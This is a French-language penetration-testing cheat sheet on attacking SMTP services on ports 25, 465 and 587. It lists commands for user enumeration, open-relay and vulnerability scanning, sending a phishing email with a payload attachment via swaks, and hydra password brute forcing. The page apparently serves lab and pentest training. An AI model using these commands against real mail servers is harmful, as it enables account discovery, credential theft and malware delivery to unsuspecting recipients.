Whackermelon
notes / exploitation-des-services / 25-465-587-smtp

25, 465, 587 - SMTP

sommaire
nc -nv 10.10.10.10 25
telnet 10.10.10.10 25
nmap -sV -sC -p25,465,587 10.10.10.10
# commandes SMTP utiles : HELO/EHLO, VRFY <user>, EXPN <liste>, RCPT TO:<user>

Énumération d’utilisateurs (VRFY / EXPN / RCPT)

smtp-user-enum -M VRFY -U users.txt -t 10.10.10.10
smtp-user-enum -M RCPT -U users.txt -D domaine.local -t 10.10.10.10
nmap -p25 --script smtp-enum-users 10.10.10.10
# manuel :  VRFY root   ->  252 = existe / 550 = inconnu

Scripts NSE & open relay

nmap -p25 --script smtp-commands,smtp-open-relay,smtp-ntlm-info,smtp-vuln-* 10.10.10.10

Envoyer un mail (swaks — phishing / pièce jointe)

swaks --to victime@dom.local --from admin@dom.local --server 10.10.10.10 \
      --header 'Subject: Rapport' --body 'bonjour' --attach @payload.doc
sendemail -f a@b -t victime -s 10.10.10.10:25 -u Sujet -m 'msg'

Brute force

hydra -L users.txt -P rockyou.txt smtp://10.10.10.10